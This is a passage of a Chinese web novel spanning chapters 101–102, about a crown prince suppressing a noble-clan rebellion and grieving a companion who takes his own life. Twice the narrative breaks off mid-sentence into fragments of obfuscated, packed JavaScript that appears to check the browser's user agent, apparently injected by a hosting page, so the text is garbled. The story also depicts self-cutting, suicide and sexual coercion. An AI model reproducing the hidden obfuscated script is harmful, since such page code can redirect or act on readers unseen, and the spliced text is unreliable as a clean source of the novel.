我知道萧玠定然有所行动,但这样血淋淋的手腕远逾我想象。我张了张嘴,喉间挤不出一个字。 万劫不复了。 不过也好,我想,一起下地狱吧。 我回到行宫时,车马先被拉到我舅舅那里。何仙丘已死,他再次更换身份,但换成什么,我也没兴趣知道。他看着我,我看着他。当他拉起我袖中看到手臂的时候,我眼睛没有动一下。他盯着那些或新或旧的伤口看了好一会,说,真对他情根深种了? 我抽回手臂,懒得说话。 我舅舅说,情意不是个好东西。你娘钟情孟蘅,她却坐视你娘被活埋地宫,你爹更是个畜生。从前的虞山铭还好,他若活着,现在只怕还是你娘的天下。 我说,短命之人,又有何用。 我舅舅冷笑一声,未必,太子短命,却能血洗柳州。虞山铭寿短,还能让他哥哥如今依然为用。他看着我的眼睛,像看一座人像玻璃攒的招子一样,说,你真的叫他拿下了。 我说,这是死局,他了了。我能走了吧。 我舅舅笑了,你忒小看皇帝。秦公肚子里就出来这么一个命根子,为了他皇帝能自己死。 他说阿梨儿,最后一击了。 我知道舅舅嘴里的最后永远没有头。 但不得不说,我舅舅的确目光远大,我有时候想他如果行走正途,会不会别有作为。在他预言后不久,萧玠真的回来了。 那一瞬我不知道是哭是笑。 没头了,真的没头了。 我好累了。 为此,我舅舅伙同一众朝臣罗织了一张更大的渔网。我听到太子谋逆的计划时几乎嗤笑出声。我说皇帝只有这么一个继承人,他有什么叛乱的必要?皇帝会信、朝臣会信、天下人会信吗? 舅舅说,所以阿梨儿,这需要你。你和太子的关系天下皆知,你的所为一定是他的主使。 我看着他的眼睛说,萧玠不会死,但我会死的。 你怎么会死呢。我舅舅眼中闪烁着孩子般晶莹的光,太子谋逆弑杀君父,你到时候会是率领世族清剿反贼的功臣。你是你娘的儿子,你是大梁怀帝正统的血脉,你就是天下的新君! 舅舅喘息微微平复,说就算略有差池也不打紧。唐时李承乾多么得父宠爱,叛逆之后太宗竭尽全力也只是保其性命,不得不将他废储流放。因为谋逆之罪,国法不容。皇帝亲手建立了这么一套严明的法纪,能保下一个造反的太子吗?以他这么一个病秧子,流放不过十里,只怕就要一命呜呼了。但凡萧恒断了根,阿梨儿,我们就可以把这窝占巢的鸠鸟统统撵出去了。 多么天衣无缝的计划呀。 我和舅舅一起开怀大笑,笑着再从手臂割下新的一刀。 一天半夜,萧玠悄悄起身,掩帐去见虞闻道。这是我舅舅派人通传我的。这是我舅舅智者千虑的一失之处,谁也没想到虞闻道敢将自家谋逆之举亲口揭发。他只是略微诧异,让我设法探查。 理智的一个我点头应是,疯狂的一个我却从床上钻下来。萧玠夜会虞闻道,那个第一个上了他的人,至今他俩的春宫图仍天下遍传。理智的我是控制不住疯狂的我的,我疯了太久了,我忍够了。 但把萧玠扒光扔上床的时候,我意识到我说错了话。妒火中烧时脱口的那本《搜神记》暴露了我监视他的事实,哪怕萧玠现在神志不清,第二天太阳出来他照样清醒。那本是我要羞辱他的利器,实际对准的是我的胸膛。萧玠会明白。他这么聪明一定会明白。他明白了我们就完了。我们要完了,我还忍什么呢。 我捻住他耳垂时,听到他屈辱的哭声。他脸压在被上,眼泪把红被面打湿一片,像流下的血。大亮的蜡烛底,他缩着身体,把脸扭过去,说你穿吧,穿了你就安心了吧。 我一下子知道他交出来什么。我一下子了解了他的绝望。我解开他,和他抱头痛哭。 那出戏里,那个婴儿,那个胎儿,为什么是我,为什么是你? 那夜之后,我和萧玠看似彼此欺骗,其实已经心知肚明。我们一起等待各自的结局。我举手投降了,萧玠却还负隅顽抗。三月二夜,他讲起任谷,说要真真正正地来一次。 但他为什么讲起任谷呢? 我不知道这是萧玠情事中的癖好,还是一次隐晦的挽留。告诉我他已然明白,想要我在覆水难收之前就此收手。但我只是把他抵在床上,彻底享用了他。 这是萧玠送给我的最后一份礼物,不是他完完全全的身体,而是一颗血淋淋的心。可他并不知道,我自己就有这样一颗心。人永远无法被所有之物打动。 我们有那么多次亲热,但他毫无保留时依旧青涩。这一夜我没有任何忍耐的必要。于情是第一次,于理吗,最后一次了。而萧玠也极尽取悦讨好之能,昏乱的,又圣洁的,简直是一尊掉进风尘的锁骨观音。他边哭边求我,明天陪着他,成不成。我咬着他说,不成。 我听见萧玠哭了。我微微抬身,先看到他黏满头发的后背,露出半个雪白的肩膀头。他侧着脸,眼窝浅,顶多积两滴泪就往外涌。他哭得很凶,每一下,泪珠子都断线般往外洒,骨骨碌碌滚了一枕头。我把他抵到被褥深处时萧玠哑着嗓子喊起来,浑身止不住地抖,手挥舞几下,叫我死死扣住。他哭昏过去时我摸到枕边那只匣子,那里面盛着玉符和我们的真正结局。 我把浑身狼藉的萧玠翻过来。这时候我要杀他轻而易举。但我们知道,这结局不受任何人控制,只是我们两个在情场上的战斗。我替他清理干净,拉过被子将他裹住。 我盯着他沉睡的脸,往手臂上刻了最后一刀。 我有时候痛恨这条命,因为它总中伤我。有时候又感恩这条命,因为它能中伤你。 我一直认为爱的本质是伤害。 最极致的爱人,往往就是杀人犯。 …… 现在,我将那瓶毒酒吞掉。萧玠依旧坐在我身边,脸上毫无动容之色。我一直觉得萧玠仁善柔弱,常常流泪。但遭遇常人无法承受的打击时,他其实少有泪水。 现在我们两个不是情人也不是仇人,只是萍水相逢的同台合奏者。我想这本该是我和萧玠最正确的关系,一个我和一个非我的我,一个人,和另一个陌生的人。 十九年前我在此出生。 十九年后在此结束我这条烂命。 阁门再启时,龙武卫已经从喋血的禁军变成翊护太子的仪仗队,象征东宫威仪的龙旗已经在檐下徐徐飘荡。我看到郑绥抬臂,将萧玠搀扶在手。皇太子穿着礼服的身影闭入车帘时,我听见郑绥□□白马长鸣,重重宫门次第打开。 我听见十九年前,封死怀帝的门再次关上来。 101.第 101 章 三月三高照的艳阳下,皇太子车辇驶出承天门。 春风吹拂车帷,露出皇太子含蓄的笑脸。长安百姓纷纷议论太子痊愈的病体,讲到他比女孩儿还白的脸颊时,偷偷揣测他有否傅粉。宫墙很大程度地将内廷和民间两厢隔绝,业已伏诛的乱臣在他们口中还是穿朱着紫的功勋。人们只负责在祈谷祭天的时候高呼千岁。 这也是正史和野史一样热闹的一天,皇太子的身影从《梁史》“上巳之乱”的相关记载中离去,停驻在嘉国公府的阶前。人们看到太子拂开车帘,骑白马在侧的少年将军临窗附耳,将交谈声遮掩在那幅深朱色帷帘之后。接着,郑绥跳下马背,叩开嘉国公府门,召世子虞闻道登车伴驾。 太子和虞闻道的情事天下皆知,而跨出门来的那位当事人也十分讶然。众目睽睽下,他登上太子车辇。太子和他说了什么,连史书都不得而知。一切声音被夹道的欢呼声和融融春光淹没,只有驾马在旁的郑绥听到,车帘缝隙漏出的压抑哭声。他没有听到太子的声音。 春祭结束后,剿逆活动也基本完毕,深院高墙后的哀哭之声这才响彻街衢。龙武卫擐甲执兵,出入洞开的朱门,仅从嘉国公府库中搬出的财物就串起了半条长安街。人们感叹说何止王谢,虞家堂前的燕子也要到咱们屋檐下做窝了。 嘉国公虞山铖的尸首盖着草席送还府中,郑绥命人架起哭天抢地的夫人,道:“殿下念在令郎有功社稷,开恩返还虞逆全尸,允许家人收殓入葬。” 他扫过院中,见参与逆案的虞氏子嗣全被锁系押在墙根下。郑绥语带悲悯:“这里是住不得了,家中又没有男丁,夫人还是带着娘子孩子们回老家吧,东宫已经给你们把盘缠备足了。” 夫人扒住他的手叫道:“怎么没有男丁呢?我儿子呢,殿下把他怎么了?” 郑绥说:“虞闻道入东宫侍驾,并不同行。他是殿下的恩人,殿下会礼待他。” 而东宫之中,萧玠踏过殿阶时,看到了披甲而坐的萧恒。 那些异常的碎片电光般从他脑中闪过,真相被从头到尾串了起来。他顿悟,父亲的称病极可能是一次引蛇出洞,而他行动的时间,极有可能就是借祭祀之事把自己调出宫城的这个上巳佳节。只是自己不谋而合,抢在父亲前完成了整个行动。 萧玠从门边站住,两人对望一会,萧恒向他张开手臂。 他顺从地走过去,由萧恒搂在怀里。 接下来,他们在心有余悸中交换了彼此的计划。 在萧玠血洗柳州后,萧恒意识到世族即将展开一场困兽之搏,开始挪棋布局。 自奉皇五年诸公乱京之后,萧恒认识到知彼的重要性。他在明面与世族斡旋的同时,也着手建立自己的内线系统。他需要一群能够打入世族内部、替他窃取消息的秘密队伍,这些人的选取是一件很困难的事。 能够取得世族信任,很大程度上决定了世族出身,至少与世族沾亲带故;对世族作风深恶痛绝,思想向自己的对立面靠拢,这要求这个人要有相当的离经叛道气质;同时他们还要智勇双全,具有把握时机的能力,更要有扭转时局的勇气;而且,他们不能在明面上有过支持新政的倾向,否则很容易引起世族警惕;当他们成功打入内部后,要根据情况对一些摇摆人员进行渗透和游说,这就需要有极高的言说技巧和审慎的观察力;最后,他们必须接受与亲人敌对的事实,甚至在直接对亲人造成损伤的行动里,作出致命一击。 这些人被称为“目”,是萧玠在位时期赫赫有名的对敌情报队伍“千目菩萨”的前身。 但在首创之时,组织这支队伍极其困难。 好在至今十余年,并非毫无成效。 在萧玠踏上返京之程时,萧恒已经发动所有眼线,尽全力获取世族的行动计划。这在世家集会、动议和走亲访友中悄然进行,两个月内,将最具有谋反嫌疑的目标缩小在以虞山铖为首的四个人身上。 萧恒和杨峥敲定了整个清扫计划。在真正发难之前,他们必须要控制世家盘踞在地方的根系。 这是一件很棘手的事,按最初设想,需要二世、三世来徐徐图之。之后可能会继续进行这种因势利导策略,但现在需要速战速决。 要控制各地的世族势力,并把握他们染指的经济大权,需要与之匹敌的、雷厉风行的话事人和军队。但地方官与世族关节盘错,如果动用本州府吏和折冲府军队,很可能使其沆瀣一气,反而资敌。 是故,萧恒出动禁军势力,以六卫暗中接管各州,确保解除地方威胁。 禁军出京是一件很有迷惑性的事。从表面看,京中力量削弱,会让虞山铖等人放下警惕。更重要的是,虞山铖有一支配备火器的秘密队伍,按长安的坊市制度和人口密度,绝对不会安插在京内。如果冲突不可避免,这支军队可以在京畿对其加以拦截,将其引向早做好人群疏散工作的无人山区,降低伤亡。 而以上计划能够顺利执行的一个前提——为保证对百姓的损伤降到最低,并力争和平化解地方危机——萧恒必须亲自出京做这件事。 不说行军和执政的能力,萧恒在民间和军中具有非同寻常的人望。很多时候,他站在那里,即能屈人之兵。 整个计划确定后,萧恒称病。为免世家怀疑,他瞒过了萧玠——萧玠的反应是最具迷惑性的武器。同时,也是因为他探知了影子的参与。那股复燃的死灰不是萧玠能解决的事。等地方得到控制,他会即刻返京,迅速展开定罪与审判活动,并做好充足的战斗准备。 萧恒已经知悉虞山铖会在上巳祭祀时行动,但对他来说,这未必不是个好时机——官眷俱在掌控之下,萧玠也不在皇城之中,有半数禁军随伴左右,他和百姓基本安全无虞。而虞山铖队伍入宫后,会被萧恒率领的禁军围死在永巷之内。哪怕虞氏借火器殊死一搏,宫墙也足够消耗他的炮火,比开阔地形的伤亡要小很多。 一切行动俱在弦上。 但他没想到,萧玠居然在他之前抢先行动,在血洗永巷后,平静地进行上巳祭礼。 那支有组织的影子队伍,居然在他手下没有讨到半分好处。 听到这里,萧玠开口:“我从老师的手记中读到岑郎和影子的交集,里面夹了一张方子,注解说或许能够麻痹影子的经络。” 他顿了顿,说:“十三年了他还在保护我。” 两个人一起沉默一会,萧恒说:“你把虞三郎带回来了。” 萧玠看着自己攥在一块的手掌,声音很低:“他不仅告诉我这件事,还把虞氏的一支火炮队伍换成了臭火。他功在社稷,就是想要我保他一家性命无虞。那天晚上……他问我能不能留他爹一命,我说可以。他说不要骗他,我说,三哥,你来告诉我,不就是相信我吗?我说君无戏言。然后,我不只杀了他爹。” 萧玠说:“我得看着他。” 临去前,萧玠犹抱侥幸,问:“阿爹,他真的不是你的人吗?” 萧恒握紧他的手,摇了摇头。 天子默许后,虞闻道入住东宫。 宫人们很难分辨他的来临和没有回来的那位沈郎有什么不同,委婉问萧玠,虞郎是与殿下同居,还是另辟厢房。 萧玠愣了愣,说:“让他挨着我住吧。” 宫人领命退下,脚刚迈过门槛,就听见太子道:“还是和我一块住,另搬一张床,要大要软,放到我床边去。中间,隔道屏风。” 虞闻道就这么住了下来。萧玠曾想象过两人会有裂痕弥合的一天,只是他没想到会是用鲜血填满,鲜血又冲出无法堆添的鸿沟。 当夜,萧玠屏退众人,端起烛台,向床边坐着的虞闻道走过来。 虞闻道刚洗过脚,两只裤腿还挽在膝盖上,神情有些怔忡。颤巍巍的烛光映得他面白如雪。萧玠在他身边坐下,从袖中取出一只锦盒,正是虞闻道送过的上巳礼物。这东西本该跟嘉国公贿资一应充公,看样是被特地留下来。 萧玠打开盒子,拿出里面的白玉扳指,推上拇指,温声说:“我以后都戴着,好不好?” 虞闻道问:“我娘还好吗?我两个妹妹还好吗?” “都好,夫人已经启程还乡了。” “我家被抄了。” “我给他们留了给养,足够回去置些薄田,做些生意。我会让他们给你写信。” 虞闻道说:“我想和他们一块走。” 萧玠静了静,劝道:“再待一阵,三哥,再待一阵好不好。我们多久没有这么说过话了。” 虞闻道说:“我爹死了。” “是我对不起你,你要怨我就怨我,要恨我就恨我吧。如果你想杀我。”萧玠从怀里拔出那把虎头匕首,放到虞闻道面前,“三哥,你也可以。” 虞闻道摇摇头,“我不是是非不分之人。我连亲爹都能举发,我怎么会杀你呢。殿下,我连我亲爹都举发了。” 萧玠坐在他身边欲言又止,最后,还是虞闻道结束了对话。他说:“我想睡了。” 萧玠应了一声,坐到自己那张床上,探手将屏风拉过来。一个屋一下子隔成两个世界。虞闻道的那个世界叫烛火映在屏上,影影绰绰地像水底的倒影,像只有点燃犀角才能照清的鬼怪世界。难道不是吗?比起活人,虞闻道难道不更像一个弥留的鬼吗? 萧玠心底一下子森然起来,想看清虞闻道是不是真的活着,这时候里面的蜡烛已经吹熄。虞闻道躺下了。 传言虞闻道得以苟活,是做了太子的榻畔之臣。 萧玠不怎么在乎,沈娑婆的死居然在某种程度上疗愈了他,他意识到死生跟前,其他一如浮云虚无。他得保住虞闻道,这个不管出于什么目的把身家性命献给自己的年轻人。他这辈子没有强求过什么,但虞闻道已经毫无所谓地走在悬崖边,萧玠只能抓紧他不松手。 虞闻道很少主动,只有萧玠每夜诵经的时候,他才会跟着萧玠跪一会,不说话,只磕头。现在对接触有所闪避的反而是他。萧玠只能换一个法子,就像他不再尝试搀扶虞闻道起身,而是问,能拉我一把吗,三哥,我膝盖痛。 这几日诸事收尾,郑绥前来和萧玠对接上巳之乱的后续事宜,他进门时,正见萧玠坐在帘子底剥松子,剥好的松子仁放到小碟里,递到虞闻道跟前。 虞闻道摇摇头,萧玠也不说什么,继续往里剥,边道:“春明池那边的牡丹花放了,过午咱们去赏花,好不好?” 虞闻道摇摇头,正看见这边,道:“小郑来了。” 郑绥跨进来,叫他:“三郎。” 虞闻道也不至于见人都怏怏的,便笑了笑,自己往内间去。 郑绥上前,没有坐,仍立在底下,将一份名单递交给他,“这是朝中参与上巳逆案的名单,陛下已经看过了,请殿下再次过目。” 萧玠的目光在一个名字上逗留,郑绥会意,道:“汤惠峦已将虞山铖牵涉的阿芙蓉线路全部招供,陛下念起有功,且不在主谋之列,特减罪,将其发配南关,不涉家人。只叹其父汤平昌公气节贞烈,得知汤惠峦附逆事,自觉有污门楣,竟绝食自尽了。” 萧玠叹道:“以我的名义追赠一份赙仪,等这阵子过去,命礼部为他议谥。”又问:“行宫那边如何?” 郑绥继续道:“沈娑婆遗党搜捕完毕,臣等也找到了何仙丘。他假死之后,扮成一个目盲的修琴师,住在烧火房边上。” 萧玠问:“人呢?” “自裁了。”郑绥把一张纸笺递过去,“沈娑婆给他留了话。” 萧玠接过来,看上面不过四句: 东府孤鹤,劝春我身。今隔人鬼,本当同坟。 哀哀狐泪,依依兔魂。梨木已折,何必俱损! 萧玠问:“这次确定死了吗?” 郑绥道:“尸首已验明正身。” 萧玠静了一会,擦亮火折把纸舔了。接着,从后面够过自己那把琵琶,拿起剪蜡烛的小铜剪子,把五根弦丝一一剪断。 萧玠自此不弹琵琶。 *** 虞闻道入宫三日后,收到妹妹寄来的书信。行宫清扫之事,禁卫仍要向萧玠上报,他便去前堂料理事务。约莫一个时辰,萧玠回来见虞闻道倚着案,手软绵绵垂着,手里那封信也耷拉着,像一动没有动过。 萧玠不敢惊动他,小心翼翼迈进门来,见虞闻道抬头,才问:“信中说什么?” 虞闻道说:“臣母已经回老家了。” 原来是平安信。 萧玠松一口气,问:“一路顺遂吗?” 虞闻道颔首,“总比从前要强。” 萧玠走近,提袍从他对面坐下。见他拇指上那只扳指已经坠到指甲上,便拉过他手,重新给他戴好。虞闻道视线被他牵动,落在两只白玉扳指相触相抵的手上。 萧玠道:“再这么瘦下去,连扳指都戴不住了。我知道你虽是北方人,却爱吃些江南的菜色。我已经叫人去外头酒楼里寻了厨子,南方菜做得极好,晚上咱们一道尝尝,好吗?” 虞闻道不答。 萧玠将他的手放在案边,刚要撤开,却被虞闻道虚虚搭住。虽不是握,却是他这一段少有的主动。 萧玠心中惊喜,小心翼翼反握住他,仍没等到虞闻道说话。他碰了碰虞闻道手上的扳指,找话道:“碎了个口子,怎么不换个新的呢?” 虞闻道说:“那晚弄的。” 萧玠还没反应过来,已听他道:“那天晚上,我弄伤你了。” 萧玠握住他的手颤抖一下,但没有撤开。 他不知道虞闻道为什么揭他们两人共同的伤疤,但如果能让他这么说话,揭就揭吧。他就算把这伤疤再刻一遍又有什么呢? 萧玠深深呼吸几下,听虞闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧玠便采了朵姚黄下来,硕大艳丽,宛如金盘。虞闻道微微侧首,萧玠便给他簪在发髻上。他不记得第一回的豆绿,却忘不掉那年夏苗簪在虞闻道鬓边的芍药。嫣红的花朵,尤衬他那身玉鈫蓝骑装。 那时候,白玉尚未陷泥。如果没有那件事,说不定真的是他和他到最后。 出神间,萧玠听虞闻道唤他:“殿下。” 他笑得太温柔,又太明朗,萧玠有些恍惚,似乎还是那个一切正好的夏天。所有欲诉未诉之情,还藏在两人眼底。他的头脑总要比心更慢一步,要等错过后才听见,当初心弦撩动的声音。 虞闻道抬手摸摸他的脸,道:“以后,别太难为自个了。” 萧玠喃喃:“三哥?” 虞闻道抱住了他。 出乎意料地,萧玠对这个拥抱没有任何抵触。虞闻道搂着他,像搂一个会碎的瓷娃娃,而萧玠抱着他也像抱一个玻璃人一样,怕一用劲就会碰出裂痕。 这样抱了一会,虞闻道松开他,从花底石凳上躺下来,道:“大中午的,有些困了,我睡一觉,你忙去吧。” 萧玠道:“凳子硬,回床上睡。” 虞闻道似乎困怠得很,只摆摆手,侧身向里,真要这么小憩了。 萧玠让他这忽冷忽热闹得迷糊,这回有宫人来报,小郑将军来送犯员的贿资单子,正在等候。他便回去一趟,忙了一阵,又拿了件薄罗披风,预备给虞闻道披上。 再回来,见虞闻道仍背身躺着,后背却一阵阵哆嗦。 是怕冷?可这么大的太阳。 萧玠放缓脚步,上前给他盖披风,掖过他颈边,感觉手上一片黏腻。 在闻到那股腥锈气、看到那源源不断的鲜红色后的一段时间,萧玠不记得自己做了什么。他能记得的,已经是他把虞闻道抱在怀里,双手死死捂在他颈边伤口上,哭喊着叫人。 虞闻道还有意识,半截沾血的花木还在手上。他笑了笑,一笑那血就泵一下,叹息:“哎哟,你怎么……又回来了,我不白、白支开你了。” 萧玠叫道:“你别说话,你别说话!人哪,来人救命啊!” 萧玠的哭喊声立即惊动了东宫卫,一片忙乱间,虞闻道仰面看着他,说:“当年照看你,是、是受小郑的托付……我……贪天之功……” 渐渐,他窒息起来,大抵是血堵死了气管,再难呼吸,也说不出话。萧玠看着虞闻道脸色逐渐涨紫,痛苦地脸颊哆嗦着。他抬手,萧玠以为他想摸自己的脸,顿一顿发现,虞闻道是想抓那片天空。 他从喉中挤出最后一个音,年、年地叫了两声,一下子,眼睛直了,大张的嘴巴不动了,手也掉下来了。擦过萧玠的手,萧玠抓不住他。 萧玠感觉疼,这种疼不是从心里开始,而是身上,后腰上一处他从没意识到的疤痕突然被剜掉似的刺痛起来。太疼了,太不正常了,他的心还没反应过来,那块伤疤的痛楚已经压得他直不起腰。 萧玠疯了一样抱着他按在他脖子上,放声大叫:“三哥……三哥你别死,你别死……我把你娘接回来,你的堂叔堂伯我不杀了,不杀了……我答应你好不好,我答应你了,我和你好,你活下来,活下来和我好呀!” 那只手软软垂在一旁,扳指上裂口的缝隙,终于叫鲜血填满了。 萧玠抱着虞闻道从花底坐到天黑。 虞闻道手脚冷了,比萧玠病重时还冷。身体也软了,比萧玠在床上还软。床上。萧玠想,玉陷园那个晚上或许不是灾祸,而是恩赐。那居然是他和虞闻道这辈子最亲近的时候。多好的时候。他却把那好时候当耻辱当伤疤当了那么久。他终于不怕那晚上了,他甚至得怀念那晚上,他开始后悔那晚上为什么那么快结束,为什么没有一个细节不漏地全记下来?如果那晚之后,自己不是只顾着痛苦,而是和他在一块了,是不是一切都不一样了? 为什么不和他在一块呢? 死真的好厉害,一下子就把耻辱扭转成绵绵无绝期的遗恨。老天给的东西,他从来弄清得太迟了。 …… 萧恒闻讯赶来,在路上听闻虞母昨日怀抱一只盆景底座跳井自尽的消息,顿时明白什么是压死虞闻道的最后一根稻草。他赶到时,先看到宫人侍卫们打灯笼远远站了一圈,圈里,他儿子满身满脸血地坐在地上,脸埋在虞闻道颈窝里,像求抱一样抱着人。 萧恒从他面前蹲下,柔声道:“阿玠,好孩子,咱们给虞郎找个好地方。他这样躺着不舒服。” 萧玠不理,脸抵着虞闻道的脸,说:“弑父累母,他进不去祖坟的。” 萧恒叫:“阿玠。” 好久,萧玠叫一声:“爹。” “你废了我吧。”他说,“我好累啊。” 102.第 102 章 晌午时分,各地春意盎然,独东宫的春天是死去的春天,一片新花都不敢绽开。 崔鲲放下门帘,掩门出来,从阶下等候的郑绥当即迎上前,问:“吃东西了吗?” 崔鲲摇摇头。 郑绥问:“药也没吃?” 依旧是否定答案。 郑绥沉默片刻,问:“虞三郎的尸身……” 崔鲲叹了口气:“还抱着,棺材搬来一晚上了,不叫入殓。我听宫人说,殿下昨晚请旨自废了。” “陛下那边怎么样?” “陛下陪了一夜,也没撬出殿下一句话。这不实在没法子,才叫咱们来看看。” 郑绥问:“秦公近日也没有信来?” “你还没听说?”崔鲲低声道,“南秦内廷起了乱子,秦公已经自顾不暇了。” 郑绥心中一惊,“听说秦公今年有意改革光明宗旨,限制神祠对政教的插手,难道是因此……?” 崔鲲道:“尚不若此,听说是南秦少公公然宣称背弃光明宗,砸了换衣节新造的光明大像,还把耳朵给穿了——你也知道在南秦都是什么人穿耳。秦公给气得不轻,朝廷上下喊着废太子,这事还没个结果呢。” 郑绥道:“这件事先瞒着殿下。”又问:“虞家家眷到了哪里?” 崔鲲思忖,“应当刚出城不远,怎么了?” 郑绥道:“若是虞家人要给虞三郎发丧,殿下于情于理都得依顺。” 崔鲲沉吟:“可虞闻道向殿下揭发其父,其母悲愤而死,虞氏上下也因他获罪……哪个虞家人肯领他的尸首?” “虞闻道有两个胞妹,大妹妹名唤仙翚,十四五岁的娘子,极有主意。她和虞三郎感情甚笃,定愿意为他发丧。”郑绥当即拔腿就走,“你在这儿守着,我出去一趟。” 郑绥回来前,东宫又有来客。双夫人带了食匣进去,过了好一会,又原封不动地带出来。皇帝也来过一趟,不多时也默然而出,嘱咐瑞官备些冰块石灰和香料。见崔鲲在,又问了几件剿逆之事,如此才回甘露殿处理政务。 直到太阳西斜,郑绥才将人带回来。 那是个披麻戴孝的女孩,双眼红肿,形容憔悴,脸上却是冷清倔强的神情。她躲开郑绥要搀扶她的手掌,自己跳下马背,整理衣衫等他领路。 见郑绥颔首,崔鲲推开殿门。 夕阳淌进去,先染红了虞闻道那只沾满花泥的靴底。余晖沿他的衣服褶皱洇染而上,似乎要把这血般的光芒输回体内。这样一来,虞闻道的脸竟添了活人般的血色,似乎也有了温度,反而是抱着他的萧玠脸色灰白,像个死人。 他仍保持着之前的姿势,脸贴脸地抱着虞闻道。虞闻道鬓边那朵姚黄已经萎了,像一个皲皱的老妇,佝身把脸垂在萧玠手背上。 郑绥放轻动作,慢慢走到他跟前蹲下,轻声道:“殿下,这是虞闻道的妹子,来领他回家去。咱们让他回家,好吗?” 萧玠眼睫毛动了动,还是没什么反应。 虞仙翚也蹲下,不看萧玠,看虞闻道的脸,这么看了一会,就去握虞闻道的手。虞闻道手心的血已干涸,蹭了她一手黑褐色的痕迹和粉末。 她捏着虞闻道的手,突然抬脸看郑绥,“我哥什么时候死的?” 郑绥道:“昨天过午。” 虞仙翚冷冰冰说:“一天了。死人禁不起你这么抱,他的脸要压歪了。” 郑绥注意到,萧玠手臂松了几分。接着,虞仙翚扶着膝盖继续逼问:“你觉得他是想跟我回去见娘,还是叫你继续关在这么个四四方方的笼子里,对着你这个下旨贬黜他满门的人?他待在你这里,受不到家里的一点香火,活着夹在你们中间,死了也是个孤魂野鬼。” “皇太子殿下,你发发慈悲,高抬贵手吧。” …… 暮色将敛时,萧玠为虞闻道净身入殓。 继玉陷园那个夜晚之后,虞闻道又一次赤.身.裸.体躺在他面前,双目紧闭,像等待一个拥抱。萧玠拧干帕子擦拭他肩头的时候依稀还有依靠他的冲动。但他的身体已经绵软了,萧玠握他的臂膀,几乎感觉不到之前坚硬的肌肉和筋骨。 解除他下裤时,萧玠浑身僵了僵。那条咬伤他的蛇死了,尸体盘虬在虞闻道两腿间,那尖利的毒牙再也刺不伤他,再也渗不出毒液来了。他再也不用怕了。 萧玠静静注视一会,眼中突然滚出两颗眼泪。他像擦拭虞闻道的手脚一样,也将那处仔细擦拭干净。一切毕,他在郑绥帮助下将自己的一套冠服换在虞闻道身上。这也解答了许多年后一个考古之谜——虞氏墓葬群外,有一座不设石碑的孤坟,墓主人年纪在十九至二十岁左右,根据骨殖处黏附的丝织物残片判断,他所穿正是梁朝皇太子的嘉礼之服。他和太子究竟有什么关系,他又是什么人,为什么不被允许入墓林安葬,只能从这个血日映照的傍晚寻找答案。 虞仙翚拒绝采用皇太子重金酬得的楠木棺材,托词是怕盗墓贼觊觎,将虞闻道弃尸道旁,一口柳木薄棺也就成为他在地下世界的居所。盖棺时萧玠仍撑着棺椁,半个身子几乎探进棺里,他伸手一遍遍摸虞闻道的脸,一对施虐者和受虐者,看上去居然还情深似海了。最后,萧玠将他那只白玉扳指摘下,戴在自己手上,再把自己的摘下给他戴好。完成这个生前未竞的仪式后,萧玠在郑绥帮助下,用尽全力盖上了棺。 棺材在最后一缕夕照收束前抬出东宫。 虞闻道离开宫门的那一刻,萧玠一下子坐到地上。郑绥跪下来搀住他两个臂弯,以萧玠的神情,就算他说出阴婚之类的话郑绥也不会意外。 他在地上坐了好一会,撑着郑绥手臂爬起来。 郑绥发现萧玠伸着脖子往外望,不是朝门外,而是朝后院。意识到这个的一瞬间郑绥寒毛倒竖。他有些僵硬地转动脖颈,从萧玠视线尽头看到了那口棺材。萧玠在诸公之乱后的真正床铺,像一块即将被吞下前又被人生生从喉中抠出的铅块。郑绥用了整整一年才让萧玠将它束之高阁,但今天,那铅块再次对萧玠产生了诱惑力。郑绥十分具象地意识到虞闻道之死究竟给萧玠带来多大的打击。 他连叫两声:“殿下。”萧玠才看向他,由他扶回殿中,没有任何表情。 郑绥就这么明白,有了玉陷园那一夜,虞闻道活着的时候争不过任何人,可他这么死了,什么人都争不过他了。 萧玠到底没有再将虞闻道两个妹妹遣返老家,她们的生活由东宫给养,但钱全被原封不动地退还回来。这在郑绥意料之中,虞仙翚具有一股惊人的生命力和倔强。他当天策马狂飙赶到城郭拦下虞家车队时,虞仙翚揭开头顶麻布,露出泪痕已干的脸。在郑绥表明身份后,虞仙翚走到他马前昂首道:“我知道你,龙武卫中郎将,东宫伴读,是你杀了我三个堂兄,抄了我的家,砍了我爹的头,抢走了我娘那座珊瑚盆景。” 郑绥简单利落:“再等一天,他就要烂了。” 女孩子眼眶里一下子蓄满泪水。 她愤恨地盯着郑绥从马背上伸出的手臂,终于递过了手。 虞闻道送葬当夜,郑绥崔鲲再度入宫。蜡烛烧到将尽,萧玠终于听了崔鲲的哄上床躺下。他面墙蜷缩身体,两手穿过腋下将后背紧紧抱住,崔鲲看到他依然睁大的眼睛。她心中叹气,轻轻拍打萧玠手臂,像个姐姐,也像个母亲。 不多时,门极轻微地吱呀一响,郑绥蹑步到床前,不说话,用眼神示意她。 崔鲲落下床帐,跟郑绥出去。 郑绥道:“陛下新下了诏令,过几日你再回潮州,这次总江南道事,并治地方阿芙蓉事。” 崔鲲应下,却见郑绥欲言又止,便问:“怎么了?” 郑绥沉吟片刻:“有件事陛下未曾嘱托,但我听他和舅父议事,多少揣测出几分。影子余孽应当另有据点,潮州和柳州都是障眼而已。” “据陛下所言,影子的杀手一律服药,大限不过二十岁。玉升末年在潮州一场苦战,剿灭贼首吕纫蕙,没有解药,其余诸人不过秋后蚂蚱。但如今影子之势竟有增无减,说明有人在暗中培植,应当大规模炼取蛊毒和解药……这样的势力,绝非程忠甚至虞山铖之辈所有。正因如此,陛下才瞒下殿下,决计斩草除根。听说年前陛下托病,实则是去了地方探查,除夕也留在外头,这才没陪殿下过年。” 郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郑绥道:“得让他先吃药。” 药已经断了五日,再不吃,只怕萧玠的身体要败了。 春夜犹寒,风吹在身上竟有些冷。那株梨树已经枯死,应当是树心早生了虫,这几日终于蛀空了,由此成为流萤的胜地。透过点点绿影,郑绥看向阁门,抿紧嘴唇。 *** 